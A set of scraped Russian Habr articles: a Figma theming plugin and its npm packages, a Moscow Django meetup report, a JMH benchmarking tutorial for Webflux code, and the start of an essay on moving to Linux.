opacity: 1,
type: "SOLID",
visible: true
}
],
remote: false,
type: "PAINT"
}
```
Большинство других объектов (типографики, эффектов и т.д.) не будут иметь ничего общего со схемой данного объекта, за исключением, разве что, имени и идентификатора. Если быть точнее, то это не объекты, а ссылки на них. Благодаря этому (*или из-за этого*), изменив стиль в одном месте, он изменится везде, где использовался.
Так как основная цель – улучшить жизнь дизайнеру при внедрении темизации – из всего многообразия токенов стоит выделить именно цвета. Теперь, поняв что именно стоит модифицировать, остаётся разобраться с вопросом “Как?”
### Figma для разработчиков
Для этого обратимся к документации figma в раздел “[Figma for developers](https://www.figma.com/developers)”. Согласно нему для разработчиков есть следующие возможности:
* REST APIs
* Plugins
* Widgets
* Integrations
Виджеты и интеграции слабо интересны в контексте данной задачи, а вот 2 других варианта заслуживают внимания.
#### REST APIs
[Rest API](http://www.figma.com/developers/api) – интерфейс, предостовляющий доступ к чтению и взаимодействию с макетами из Figma. Благодаря данному api можно получать все узлы дизайна, извлекать из них стили и их свойства. На данный момент по Figma APIs можно получить “файлы” (*объекты, описывающие всё содержимое макета*) и их версии, изображения, пользователей, комментарии и стили, а также отправлять комментарии к файлам.
Несмотря на весьма внушительный список возможностей, этот интерфейс не даёт полной свободы действий, а также вместе с важной информацией выдаёт много бесполезной (*в контексте темизации*) информации.
Куда приятнее дела обстоят с плагинами.
#### Plugins
[Плагины](http://www.figma.com/plugin-docs/intro) – это веб-приложения, расширяющие функциональность Figma. Они могут считывать и изменять стили узлов, такие как цвет, положение, эффекты, типографика и т. д.
Плагины ограничены областью внутри текущего дизайна, то есть они могут отслеживать выделение элементов, но при этом не могут отследить удаление стилей, а также не могут получить стили других проектов текущей организации.
После погружения в тему расширения функционала в Figma, можно вернуться к поставленной задаче – упростить жизнь дизайнеру и разработчикам.
### Оптимизация процессов на этапе дизайна
Создавать по копии каждой страницы на каждую цветовую схему, как уже говорилось в начале статьи, слишком трудоёмкий процесс. Поэтому начать оптимизацию стоит именно с этого момента.
Можно выделить несколько основных условий, которым должно соответствовать итоговое решение:
Основные условия:
* возможность изменять цветовую схему элемента;
* простота в использовании;
* скорость работы и доступность из любой точки.
#### Плагин Themeizer
Для того, чтобы использование было простым, решение не должно создавать своё API и впоследствии навязывать его, оно должно лишь дополнять существующий функционал. В Figma для создания цветовых схем обычно используются папки со стилями.
Папки в FigmaПоэтому название папок можно считать именами тем, а все стили внутри таковых – цветами текущей схемы. Плагины дают доступ к значениям этих стилей, а также позволяет их изменять. Это означает, что из плагина можно получить каждую тему и изменить все стили в макетах на другую тему. Дополнительно бывают ситуации, когда на странице должны быть дизайны в разных цветовых схемах (*например для презентации нового концепта*), для таковых нужно менять стили не во всём дизайне, а в отдельных фреймах (*например в выделенных*).
Это первая задача, которую решает плагин.
Здесь не обошлось без дополнительных условий. Не каждая папка в дизайне является темой, зачастую есть отдельные папки под общие стили, под элементы кнопок или брендированные элементы. Поэтому плагину нужны дополнительные настройки, в которых можно будет выбрать темы.
Выбор тем в настройках плагинаВсе темы, которые не выбраны в качестве светлых или тёмных считаются shared, то есть доступными для любой темы.
Плагин знает все цветовые схемы. Это означает, что у него есть доступ к основному источнику правды, а если так, то это возможность сделать этот источник не просто основным, но и единственным.
#### Обмен с клиентской частью
Для перехода стилей Figma в статус единственного источника правды, нужно создать общее для дизайна и клиента хранилище. Для этого все стили нужно выгрузить на сервер.
Как уже говорилось, плагин не должен ничего навязывать, поэтому в роли сервера может выступать всё, что угодно. Единственное правило – адрес должен принимать POST-запрос. Этот адрес нужно указать в настройках плагина и в дальнейшем, при публикации, по данному адресу будет отправляться запрос, содержащий темы со следующей схемой:
```
{
[theme: string]: {
list: [
{
name: string,
value: string,
type: "solid" | "linear" | "radial"
}
],
type: "light" | "dark" | "shared"
}
}
```
Всё же, перед тем как загружать на сервер, стоит посмотреть все изменения и убедиться, что всё верно. API плагинов для подобных задач предоставляют доступ к клиентскому хранилищу (*альтернатива local storage*) и к хранилищу внутри текущего дизайна. Клиентское хранилище однозначно не подходит, так как над проектом работают несколько людей и доступ к сохранённым данным должен быть у каждого из них. Хранилище внутри текущего дизайна также ограничивает возможности (*например данные потеряются при копировании проекта или при переустановке плагина*).
Есть ещё одно место, знающее последние сохранённые стили – сервер, на который плагин уже умеет записывать цветовые схемы. Соответственно из него же можно и считывать изменения. Для этого в настройках нужно указать адрес, по которому можно получить данные (*с той же схемой*) посредством GET-запроса.
Конфигурация публикации и взаимодействия с сервером в настройках плагинаДополнительно для выполнения запросов могут потребоваться специальные заголовки. Для них создано отдельное поле – `headers`.
После этого, при публикации очередной версии можно будет увидеть все изменения.
Просмотр изменений в темах перед публикацией на серверТеперь данные всех тем хранятся на сервере и при необходимости обновляются. Следующим шагом нужно настроить получение на клиенте.
### Оптимизация процессов на этапе разработки
Что должно происходить на клиенте:
* Получение стилей.
* Преобразование в формат css-переменных.
* Встраивание классов с цветами в стили.
**Получение стилей**
Для этого можно использовать тот же url, что и для проверки изменений внутри плагина. Соответственно на клиенте нужно знать его и необходимые для запроса заголовки.
Как я писал в предыдущей статье, темизация может настраиваться на стороне сервера или на стороне клиента. В случае с серверным рендерингом ожидается, что стили всегда будут в актуальном состоянии. В таком случае отправлять запрос при каждом обращении становится ресурсоёмкой операцией. Если темизация добавляется на клиенте, то все стили должны быть получены на этапе сборки.
**Преобразование**
Плагин сохраняет все имена в удобном формате для создания css-переменных - **kebab-case**. Благодаря этому остаётся получить все имена, сделать из них переменные и создать класс для каждой темы. Дополнительно в классы нужно добавить `color-scheme`, чтобы для темных тем браузер отображал ui-элементы в тёмном интерфейсе.
**Встраивание**
В случае с темизацией на клиенте, наиболее оптимальным способом будет встраивание во время сборки. В случае серверной – во время отрисовки страницы. В обоих случаях важно оптимизировать количество отправляемых запросов и кеширование их результатов.
Для решения этих задач был создан Themeizer.
#### Пакет “themeizer”
Пакет получает нужные настройки из переменных окружения, а именно – url сервера, headers и revalidate. Так как обращений быть очень много, пакет поддерживает опцию revalidate из коробки, которая определяет периодичность отправки запросов.
Пакет поддерживает 2 варианта встраивания стилей – во время сборки, путём замены метатега тегом style, содержащим классы и стили и ручной режим, используемый в основном для SSR.
Подробнее о работе пакета – [www.npmjs.com/package/themeizer](https://www.npmjs.com/package/themeizer)
#### Пакет “next-themeizer”
Дополнительно был создан пакет для next.js, так как одна из основных задач next-а – снижение порога вхождения. Минимум забот, лишней логики и настроек конфигурации приложения.
Добавить пакет в конфигурацию next.js можно следующим образом:
```
// next.config.js
const withThemeizer = require('next-themeizer').default;
module.exports = withThemeizer();
```
Подробнее о работе пакета – [www.npmjs.com/package/next-themeizer](https://www.npmjs.com/package/next-themeizer)
### Оптимизация процессов на этапе внедрения
Указанные выше пакеты отлично отработают, если сайт уже построен на css-переменных и использует их повсеместно. Если же решение о добавлении темизации принимается уже после создания продукта, то процесс перехода на переменные может занять значительный промежуток времени.1
#### Пакет “themeizer-cli”
Cледующей возможностью экосистемы является упрощение внедрения. Для этого можно воспользоваться пакетом themeizer-cli. Это консольная утилита, которая автоматически заменяет цвета в файлах стилей на имена переменных из нужной темы.
Автоматическая замена посредством утилитыПример использования:
```
npm install themeizer-cli -g
themeizer-cli –c ./themeizer.config.json
// or
themeizer-cli –u https://server-url.com/themes -t light
```
Подробнее о работе утилиты – [www.npmjs.com/package/themeizer-cli](https://www.npmjs.com/package/themeizer-cli)
Утилита только начинает свой путь и у неё впереди ещё много преобразований. Одним из основных её недостатков на данный момент является невозможность контролирования изменений. Она просто проходит по всем стилям и меняет цвета там, где может использоваться переменная.
Контроль изменений и поддержки цветов в дальнейшем также важная составляющая темизации, которую, конечно же, нельзя было пройти стороной.
#### Пакет “stylelint-themeizer”
В работе со стилями и их проверкой основным инструментов выступает Stylelint (eslint для стилей), который может показывать ошибки и автоматически их исправлять.
Stylelint-themeizer – плагин, добавляющий новое правило, при наличии которого стили будут автоматически проверяться и в случае, если цвет присутствует в опубликованных стилях и записан не в виде css-переменной – покажет ошибку и подскажет имя переменной. При использовании с аргументом `--fix` Stylelint автоматически исправит все стили.
Подсказки в файлах стилей и сообщения об ошибках в консоли[www.npmjs.com/package/stylelint-themeizer](https://www.npmjs.com/package/stylelint-themeizer)
*Прим. К сожалению, полноценной поддержки sass в stylelint все ещё нет (напр. существующий парсер postcss-sass не умеет корректно обрабатывать стили без потерь “#”).*
### Заключение
Themeizer сделал свои первые шаги к становлению, но впереди ещё большой путь. Возможно, вывести его в большой свет в столь юной версии поспешное решение. Но без сомнения, он на многое способен уже сейчас, готов расти и развиваться и ждёт возможности помочь всем участникам разработки делать их веб миры удобнее и доступнее.
**Ссылки:**
* Плагин – <https://www.figma.com/community/plugin/1065764293242137356/Themeizer>
* themeizer – <https://www.npmjs.com/package/themeizer>
* next-themeizer – <https://www.npmjs.com/package/next-themeizer>
* themeizer-cli – <https://www.npmjs.com/package/themeizer-cli>
* stylelint-themeizer – <https://www.npmjs.com/package/stylelint-themeizer>
* stylelint-themeizer – <https://www.npmjs.com/package/stylelint-themeizer> | https://habr.com/ru/post/651577/ | null | ru | null |
# Moscow Django Meetup #3
Хотим поделиться впечатлениями от третьей московской встречи Django-девелоперов, она же Moscow Django Meetup. Благодаря организаторам из GreenfieldProject и Seven Quark в этот раз удалось подыскать для встречи отличное место: один из вместительных залов [MOD Design](http://modmoscow.com/). Очень уютное, близко к центру, а главное, всем хватило места и было удобно. Огромный проекционный экран, кликер для докладчика, вкусный кофе в перерыве, что ещё надо для хорошего митапа.
В программе были заявлены 5 докладов: 3 полноценных по 20 минут и два укороченных по 10, разделённые одним кофебрейком. Сколько пришло народу из почти сотни зарегистрированных сказать сложно, человек 50-60, вероятно, кто-то не успел
прийти в себя после праздников. На фото зал минут за 10-15 до начала, потом народ ещё подтянулся.
#### Доклады
Александр Емелин из Mail.ru Group доступно рассказал про [Class-based generic views](http://www.slideshare.net/MoscowDjango/class-based-generic-views-django). Тем кто до сих пор не пользуется вьюхами на классах, рекомендуем обратить на них внимание, порой они экономят очень много boilerplate-кода. Тем же, кто активно их применяет, неплохая ссылочка по рекомендации Александра: [Classy CBV](http://ccbv.co.uk/) — замена официальной путаной и неудобной документации по видам на классах. Доставило обсуждение CBV vs functional views, когда уместно использовать тот или иной вариант и почему.
Владимир Филонов из WebCanFly поведал про [расширяемые приложения](http://www.slideshare.net/MoscowDjango/django-12897050). На примере небольшой части интернет-магазина рассмотрели различные варианты реализации API для подключения плагинов к django-приложениям. Подробно, много кода, но всё понятно и логично выстроено. Хороший доклад, думаем, при разработке сложных систем со слабым связыванием компонентов всем придётся столкнуться с чем-либо подобным.
Михаил Юматов про статику в Django.
Доклад можно было смело назвать [django-gears](https://github.com/trilan/django-gears), поскольку речь шла в основном об этой амбициозной билиотеке, которую разрабатывают ребята из Trilan. Она призвана заменить django-compressor и webassets, обладает большей частью их функциональности, к тому же хранит зависимости прямо в css/js (по аналогии с [sprockets](https://github.com/sstephenson/sprockets#readme)). Пока приложение ещё не в продакшене, но от этого не менее интересно.
Иван Вирабян про [производительность в Django](http://www.slideshare.net/MoscowDjango/django-12897658).
По большей части речь шла об ORM. Иван объяснил, почему «db\_index=True не творит чудеса», показал каким иногда непредсказуемым может быть генератор SQL, объяснил как нужно использовать «Defer()», а так же описал основные подходы к инвалидации кеша и оптимизации контекст процессоров в Django. Самое продвинутое выступление явно не для новичков, жаль, что всего лишь на 10 минут, такая тема достойна больших временных рамок. Обязательно посмотрите слайды, очень полезный и наиболее прикладной доклад.
Александр Шлемин про [Django на Андроиде](http://www.slideshare.net/MoscowDjango/django-android).
Докладчик наглядно показал, что Django это не только про Web и что его можно запускать в том числе на мобильных устройствах. Александр продемонстрировал нам это на примере мобильного телефона на базе Android. Доклад вызвал, наверное, самую бурную реакцию аудитории со смехом и овацией.
Для тех кто захочет попробовать свои силы и поставить Django на Android, Александр советует запускать `manage.py runserver` с ключом `--noreload` — это увеличит время жизни вашего аккумулятора :)
Используя силу root доступа к телефону и несколько батареек (к Django), мы получаем доступ к списку контактов или базам данных других приложений. А стандартная админка Django покажет все эти данные в приемлемом оформлении.
Взаимодействие с API телефона происходит через Python драйвер, таким образом мы можем вибрировать телефоном, писать смски, получать данные GPS и даже звонить!
В общем, для любителей «экстремального» программирования!
#### Заключение
Ещё раз спасибо организаторам, ребята явно постарались учесть все пожелания и сделали встречу лучше [предыдущей](http://blog.futurecolors.ru/2012/04/moscow-django-meetup-2.html). И конечно же докладчикам, нескучные выступления и темы были актуальны.
В планах провести Django-спринт или Django-dash, в общем покодить совместно этим летом. Активисты и прочие желающие приглашаются в [группу на фейсбуке](http://www.facebook.com/groups/MoscowDjango/), там сейчас идёт активное обсуждение.
P.S. Ждём следующего митапа через месяц. Там один из нас снова попробует свои силы за микрофоном у проектора с докладом.
[Презентации на SlideShare](http://www.slideshare.net/MoscowDjango/3-moscowdjango-meetup)
[Группа Moscow Django в Facebook](http://www.facebook.com/groups/MoscowDjango/)
[События на timepad](http://moscowdjango.timepad.ru/events)
*Илья Барышев
Виталий Олевинский*
[Future Colors](http://futurecolors.ru) | https://habr.com/ru/post/143715/ | null | ru | null |
# Пишем тесты производительности под Webflux
##### Александр Леонов
Руководитель группы разработки
Добрый день! Меня зовут [Александр Леонов](https://habr.com/ru/users/venum/), я руководитель группы разработки одной из распределённых команд Usetech. Сегодня я хочу рассказать вам о том, как написать карманный тест производительности на неблокирующий код Webflux. Статья рассчитана на разработчиков, которые разрабатывают API или выполняют оптимизационный рефакторинг медленного кода. Итак, начнём.
Дисклеймер*Весь приведённый ниже код является тестовым, но отражает основные моменты реального кода.*
*Данный материал направлен на написание бенчмарков, покрывающих изнутри отдельные части кода приложения. Для тонкой настройки производительности приложения целиком необходимы люди соответствующих компетенций!*
Введение
--------
В обычный рабочий день, в лс стучится менеджер с просьбой откинуть все текущие дела и переключиться на приоритетную задачу, суть которой сводится к следующему:
Есть корпоративный портал, состоящий из мобильного приложения, фронта и бэкенда API. У последнего есть эндпоинт, предоставляющий всю информацию по профилю сотрудника, которую он собирает с внутренней БД и сервисов. Со временем логика этого эндпоинта разрасталась и стала тормозить, что поначалу вызывало дискомфорт, а потом и всеобщую панику, когда вместо «плохих» 5 секунд ожидания фронт начал проседать до «невозможных» 22-24 секунд. Кэшированием проблему не решить, т.к. есть некие данные, которые постоянно меняются и должны быть актуальны при каждом запросе к API. Нужно срочно это исправить и подготовить отчёт с цифрами до оптимизации и после.
Задача ясна, давайте исправлять ситуацию.
Взглянув на код бэкенда и пройдя от контроллера, мы наблюдаем вызов метода:
```
public interface UserService {
Mono profileInfo(UUID userId);
// ...
}
```
Дисклеймер*В статье не использовалась реализация реального сервиса, вместо неё были использованы заглушки:*
```
@Service
public class UserServiceImpl implements UserService {
// ...
@Override
public Mono profileInfo(UUID userId) {
final var user = User.builder().build();
return Mono.just(user).delayElement(Duration.ofMillis(12000));
}
@Override
public Mono userInfo(UUID userId) {
final var user = User.builder().build();
return Mono.just(user).delayElement(Duration.ofMillis(5010));
}
// ...
}
```
Тут приходит понимание, что это Webflux, а значит придётся писать неблокирующие тесты.
Также, первое, что приходит в голову, если у нас обычный метод с запросом в базу — выполнить план запроса при прогоне sql запроса. В данном же случае, этого недостаточно, потому что фича тянет данные из разных источников — БД, внешние сервисы… Ещё у нас есть логика обработки результатов в коде.
По ходу исследования кодовой базы, обнаруживаем, что простейшие неблокирующие тесты под наш код имеются:
```
@Test
public void profileInfo() {
StepVerifier.create(userService.profileInfo(USER_ID)
.log("profile-info", Level.INFO, SignalType.ON_NEXT)
)
.expectNextCount(1)
.verifyComplete();
}
```
Это хорошо, т.к. вся логика моков вызовов внутренних сервисов уже написана и нам необходимо будет только заменить возвращаемые данные от сервисов на данные, с которыми система тормозит. Благо, ребята из QA предоставили curl как воспроизвести дефект.
Теперь надо зафиксировать текущий плохой результат на цифрах, но возникает вопрос, как лучше это сделать. В идеале, не просто разово решить проблему и нивелировать её в будущем, но и дать команде данного бэкенд сервиса инструмент, с помощью которого они смогут производить оценку производительности кода сразу, после его написания.
Понятно, что можно и стопвотчами обложить функционал, записать результаты до, потом прогнать по рефакторенному коду тот же набор данных, зафиксировать и отправить менеджеру.
```
@Test
public void profileInfo_naivePerfomanceTest() {
long startTime = System.currentTimeMillis();
StepVerifier.create(userService.profileInfo(USER_ID)
.map(result -> {
long finishTime = System.currentTimeMillis();
System.out.printf("Start %d \nEnd %d%n", startTime, finishTime);
return result;
})
.log("profile-info", Level.INFO, SignalType.ON_NEXT)
)
.expectNextCount(1)
.verifyComplete();
}
```
Но что, если у нас уже приложение прогрето и на холодном старте будут опять тормоза? К тому же существует потребность прогона логики несколько раз, вычисления среднего арифметического и т.д. В таком случае нам помогут бенчмарки/перфоманс тесты/тесты производительности.
Если рассматривать классические варианты написания перфоманс тестов на Java, то сразу на ум приходит JMH. В формате данной статьи остановимся на нём, как первичном решении из JDK, но можете написать в комментариях, какие инструменты или фреймворки используете для написания тестов производительности.
Но как им тестировать реактивный код? Неужели нет никакой стандартной либы для тестирования Webflux? Есть reactor-test зависимость, с помощью которой можно нормально писать неблокирующие тесты. Может, существует такой же инструмент для написания перфоманс тестов неблокирующего кода?
На момент решения проблемы, поиски инструмента «из коробки» не увенчались успехом. Тогда зародилась идея скрестить reactor-test и JMH. Но сначала поправим код медленного метода сервиса.
Для начала создадим новый метод, в котором будут оптимизации, чтобы на случай отката не было больно.
```
public interface UserService {
@Deprecated
/**
* Use UserService.userInfo
*/
Mono profileInfo(UUID userId);
Mono userInfo(UUID userId);
}
```
После проведения рефакторинга кода в новом методе и первичных прогонах через API локально, ситуация на первый взгляд исправлена. Осталось получить результат в цифрах, как было до и после.
После пары часов исследований и практики скрещивания аннотаций JMH и Spring, на основе имеющегося юнит теста, был реализован отдельный тест производительности, подобный текущему (убраны моки и лишний код, изменены параметры настроек):
```
package ru.usetech.portal.service.benchmark;
import org.junit.jupiter.api.Test;
import org.openjdk.jmh.annotations.*;
import org.openjdk.jmh.results.format.ResultFormatType;
import org.openjdk.jmh.runner.Runner;
import org.openjdk.jmh.runner.RunnerException;
import org.openjdk.jmh.runner.options.Options;
import org.openjdk.jmh.runner.options.OptionsBuilder;
import org.openjdk.jmh.runner.options.TimeValue;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.context.annotation.Profile;
import reactor.test.StepVerifier;
import ru.usetech.portal.service.UserService;
import ru.usetech.portal.service.impl.UserServiceImpl;
import java.util.UUID;
import java.util.concurrent.TimeUnit;
@Profile("local")
@State(Scope.Benchmark)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MILLISECONDS)
@SpringBootTest(classes = {
UserServiceImpl.class
})
public class UserServicePerformanceTest {
private static final UUID USER_ID = UUID.randomUUID();
// JMH isn't support autowired services
private static UserService userService;
// The @State annotation can only be applied to the classes having the default public constructor.
@Autowired
public void injectService(UserService userService) {
UserServicePerformanceTest.userService = userService;
}
@Test
public void start() throws RunnerException {
Options opts = new OptionsBuilder()
.warmupIterations(3)
.warmupTime(TimeValue.seconds(20))
.measurementIterations(3)
.measurementTime(TimeValue.seconds(20))
.forks(0) // use only for debug.
.threads(1)
.shouldDoGC(true)
.shouldFailOnError(true)
.resultFormat(ResultFormatType.JSON)
.build();
new Runner(opts).run();
}
@Benchmark
public void profileInfo() {
StepVerifier.create(userService.profileInfo(USER_ID))
.expectNextCount(1)
.verifyComplete();
}
@Benchmark
public void profileInfoNew() {
StepVerifier.create(userService.userInfo(USER_ID))
.expectNextCount(1)
.verifyComplete();
}
}
```
В этой реализации есть несколько нюансов, отмеченных в комментариях, связанных с особенностями работы JMH, всё-таки не стоит забывать, что мы пытались внедрить его к инструментам обычного юнит тестирования. Более того, в текущей реализации можно писать бенчмарки и под блокирующий код, внутри методов, помеченных @Benchmark. Единственное, было убрано логирование, чтобы не спамить вывод консоли.
Давайте запустим этот тест и посмотрим как выглядит результат работы:
Результат работы
```
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.openjdk.jmh.util.Utils (file:/home/alexandr/.m2/repository/org/openjdk/jmh/jmh-core/1.22/jmh-core-1.22.jar) to field java.io.PrintStream.charOut
WARNING: Please consider reporting this to the maintainers of org.openjdk.jmh.util.Utils
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
# JMH version: 1.22
# VM version: JDK 11.0.16, OpenJDK 64-Bit Server VM, 11.0.16+8-LTS
# VM invoker: /usr/lib/jvm/zulu-11/bin/java
# VM options: -ea -Didea.test.cyclic.buffer.size=1048576 -javaagent:/usr/share/idea/lib/idea_rt.jar=38117:/usr/share/idea/bin -Dfile.encoding=UTF-8
# Warmup: 3 iterations, 20 s each
# Measurement: 3 iterations, 20 s each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.usetech.portal.service.benchmark.UserServicePerformanceTest.profileInfo
# Run progress: 0,00% complete, ETA 00:04:00
# Fork: N/A, test runs in the host VM
# *** WARNING: Non-forked runs may silently omit JVM options, mess up profilers, disable compiler hints, etc. ***
# *** WARNING: Use non-forked runs only for debugging purposes, not for actual performance runs. ***
# Warmup Iteration 1: 12042,567 ms/op
# Warmup Iteration 2: 12000,521 ms/op
# Warmup Iteration 3: 12000,538 ms/op
Iteration 1: 12000,406 ms/op
Iteration 2: 12000,493 ms/op
Iteration 3: 12000,438 ms/op
Result "ru.usetech.portal.service.benchmark.UserServicePerformanceTest.profileInfo":
12000,446 ±(99.9%) 0,810 ms/op [Average]
(min, avg, max) = (12000,406, 12000,446, 12000,493), stdev = 0,044
CI (99.9%): [11999,635, 12001,256] (assumes normal distribution)
# JMH version: 1.22
# VM version: JDK 11.0.16, OpenJDK 64-Bit Server VM, 11.0.16+8-LTS
# VM invoker: /usr/lib/jvm/zulu-11/bin/java
# VM options: -ea -Didea.test.cyclic.buffer.size=1048576 -javaagent:/usr/share/idea/lib/idea_rt.jar=38117:/usr/share/idea/bin -Dfile.encoding=UTF-8
# Warmup: 3 iterations, 20 s each
# Measurement: 3 iterations, 20 s each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.usetech.portal.service.benchmark.UserServicePerformanceTest.profileInfoNew
# Run progress: 50,00% complete, ETA 00:02:28
# Fork: N/A, test runs in the host VM
# *** WARNING: Non-forked runs may silently omit JVM options, mess up profilers, disable compiler hints, etc. ***
# *** WARNING: Use non-forked runs only for debugging purposes, not for actual performance runs. ***
# Warmup Iteration 1: 5010,497 ms/op
# Warmup Iteration 2: 5010,426 ms/op
# Warmup Iteration 3: 5010,453 ms/op
Iteration 1: 5010,429 ms/op
Iteration 2: 5010,463 ms/op
Iteration 3: 5010,420 ms/op
Result "ru.usetech.portal.service.benchmark.UserServicePerformanceTest.profileInfoNew":
5010,438 ±(99.9%) 0,408 ms/op [Average]
(min, avg, max) = (5010,420, 5010,438, 5010,463), stdev = 0,022
CI (99.9%): [5010,030, 5010,845] (assumes normal distribution)
# Run complete. Total time: 00:04:32
REMEMBER: The numbers below are just data. To gain reusable insights, you need to follow up on
why the numbers are the way they are. Use profilers (see -prof, -lprof), design factorial
experiments, perform baseline and negative tests that provide experimental control, make sure
the benchmarking environment is safe on JVM/OS/HW level, ask for reviews from the domain experts.
Do not assume the numbers tell you what you want them to tell.
Benchmark Mode Cnt Score Error Units
UserServicePerformanceTest.profileInfo avgt 3 12000,446 ± 0,810 ms/op
UserServicePerformanceTest.profileInfoNew avgt 3 5010,438 ± 0,408 ms/op
Benchmark result is saved to jmh-result.json
```
Здесь нас интересует только конечный вывод:
```
Benchmark Mode Cnt Score Error Units
UserServicePerformanceTest.profileInfo avgt 3 12000,446 ± 0,810 ms/op
UserServicePerformanceTest.profileInfoNew avgt 3 5010,438 ± 0,408 ms/op
Benchmark result is saved to jmh-result.json
```
Более того, выгрузился отчёт в отдельный файл в формате JSON.
Таким образом, задача оптимизации решена и доказана на цифрах, а у команды разработчиков появился код, который можно переиспользовать и затем улучшить при разборе задач на оптимизацию критичных частей API.
Если вы не согласны с применённым подходом или для Webflux наконец-то появилось решение «из коробки», буду рад вашим комментариям — с удовольствием наверстаю упущенное.
Благодарю за время, уделённое прочтению статьи и надеюсь, что она была полезной. | https://habr.com/ru/post/680948/ | null | ru | null |
# Релиз CrystaX NDK 10.2
Новая версия [CrystaX NDK 10.2.0](https://www.crystax.net/android/ndk) доступна для скачивания.
В этой версии мы сконцентрировались в основном на исправлениях и мелких улучшениях, но есть и несколько более крупных фич.
Objective-C v2
--------------
Добавлена поддержка [Objective-C v2](https://en.wikipedia.org/wiki/Objective-C#Objective-C_2.0) runtime (т.е. совместимого с Objective-C runtime от Apple) и начальных Cocoa-совместимых фреймворков (Foundation and CoreFoundation).
Мы хотим сказать большое спасибо сообществам [GNUstep](http://www.gnustep.org/) и [Cocotron](http://www.cocotron.org/) — без этих проектов добавление Objective-C v2 в CrystaX NDK было бы значительно более сложным. Слава богу (и [RMS](https://en.wikipedia.org/wiki/Richard_Stallman)), мы живем в окружении огромного количества open source проектов, так или иначе помогающих друг другу, и общая эффективность в мире [FOSS](https://en.wikipedia.org/wiki/Free_and_open-source_software) от этого только возрастает.
Это только первый шаг по дороге в тысячу миль, но мы со всей серьезностью намерены продолжать работать над полноценной поддержкой Objective-C для Android, и приглашаем всех заинтересованных участвовать в этом. Присылайте [pull request-ы](https://github.com/crystax?tab=repositories), правьте документацию — мы будем признательны за любую помощь.
Boost 1.58.0
------------
В этот релиз мы включили две версии [Boost](http://www.boost.org/) — 1.57.0 и 1.58.0. [Просто используйте](https://www.crystax.net/ru/blog/3) Boost для программирования под Android и забудьте о проблемах сборки!
Напоминаем, что у нас запущено регулярное тестирование библиотек Boost, так что любой желающий может увидеть текущие результаты тестирования конкретных библиотек на Android: [master](http://www.boost.org/development/tests/master/developer/summary.html) и [develop](http://www.boost.org/development/tests/develop/developer/summary.html).
Clang 3.6
---------
Добавлен новый набор инструментов (toolchain) на основе clang-3.6, с переносом всех исправлений, что мы делали в clang-3.4 и clang-3.5. Теперь этот toolchain будет использоваться по умолчанию, в случае указания "`NDK_TOOLCHAIN_VERSION := clang`" в вашем Application.mk.
Также мы обновили LLVM libc++ до ветки `release_36` из основного репозитория LLVM, так что теперь это опять наиболее свежая версия.
PNG, JPEG и TIFF
----------------
Добавлены готовые к использованию libpng-1.6.17, libjpeg-9a и libtiff-4.0.4beta, так что больше нет нужды собирать их самостоятельно; пример использования можно увидеть [здесь](https://www.crystax.net/ru/blog/5#section-4).
Другое
------
А также большое количество исправлений и мелких улучшений, в сумме ведущих к более стандартному и предсказуемому поведению CrystaX NDK. [Здесь](https://tracker.crystax.net/versions/38) вы можете ознакомиться с полным списком закрытых в этой версии тикетов. | https://habr.com/ru/post/261049/ | null | ru | null |
# Как разочароваться и НЕ перейти на Linux
Недавний конфуз Джима Землина (Jim Zemlin) на Open Source Summit с презентацией, запущенной на Mac OS, не отменяет того факта, что и на десктопном направлении есть крупные успехи в последнее время. О некоторых я уже рассказывал: [Ускорение WiFi](https://habrahabr.ru/post/317548/), [Графика без швов](https://habrahabr.ru/post/336630/), [Новый лучший I/O планировщик](https://habrahabr.ru/post/337102/).
Вместе с тем, не все еще гладко и пока есть немало тех, кто пытался перейти на Linux и затем разочаровавшись вернулся к прежней ОС, чаще всего — Windows. Раньше для этого было довольно много поводов, но уже ясно, что их будет все меньше и меньше. Если вы желаете попробовать перейти на Linux и разочароваться, сделайте это сегодня, так как завтра может быть уже поздно. Итак, мои рецепты, для тех кто желает узнать, как **провалить позможность** подружиться с пингвинами и *уйти ни с чем*.
Подставить плечо или дать подножку?
-----------------------------------
Мантра, которая быстрее всего приведет вас к ~~краху~~ цели звучит так: **НЭВЛнР** (ни%%% этот ваш Линукс не работает). Тут самым важным является местоимение «ваш», именно оно задает нужную дистанцию и точку зрения. Пользователь, который выдает этот комментарий, подсознательно имеет следующую картину перед глазами.
* Если программа с открытыми исходниками не работает как надо, это забота разработчиков и мейнтейнеров. Они обязаны отыскать все баги и починить их.
* Пользователь программы с открытым исходным кодом никому ничем не обязан, он и так потратил кучу времени. Не хватало еще, чтобы он сам чинил свой софт и портил глаза, ковыряясь в текстовых файлах и скриптах запуска службы.
* В конце-концов какая разница, открытое ПО или платное? Главное чтобы работало — *вам шашечки или ехать*?
Конечно же это совсем не так, и в этом успех программ с открытым кодом. Наряду со [свободой](https://habrahabr.ru/post/329042/) пользоваться программой, изучать и изменять ее во благо, в нагрузки идет некий свод не очень обременительных обязанностей, суть которых — вносить посильную лепту в общую копилку. Кто умеет программировать, тот присылает патчи, другой открывает заявку на исправление дефекта, присылает необходимые данные, воспроизводит ошибку по несколько раз и служит подопытным промежуточных исправлений.
Помимо этого можно делать еще много чего, для помощи проекту с открытым кодом: создавать базу знаний, локализацию, отвечать на вопросы новичков. Было бы желание, а повод всегда найдется.
### Use case: не смог открыть флешку
[Комментарий](http://liberatum.ru/e/windows-10-to-ubuntu#comment-51588) пользователя немного облагорожен.
> Пробовал эту вашу убунту. Она даже флешку не могла адекватно открыть. Причем то открыла, то нет. Снес через 10 минут к черту.
Скорее всего *dark* не сумел присоединить диск, возможно не хватало прав. Смонтировать флешку можно с помощью графического интерфейса в KDE, Gnome и всех более-менее полноценных DE. Можно и с командной строки, это можно найти в поиске за 5 минут. Однако, если бы действительно это было ошибкой драйвера, все равно можно было найти иной выход.
Остерегайтесь командной строки
------------------------------
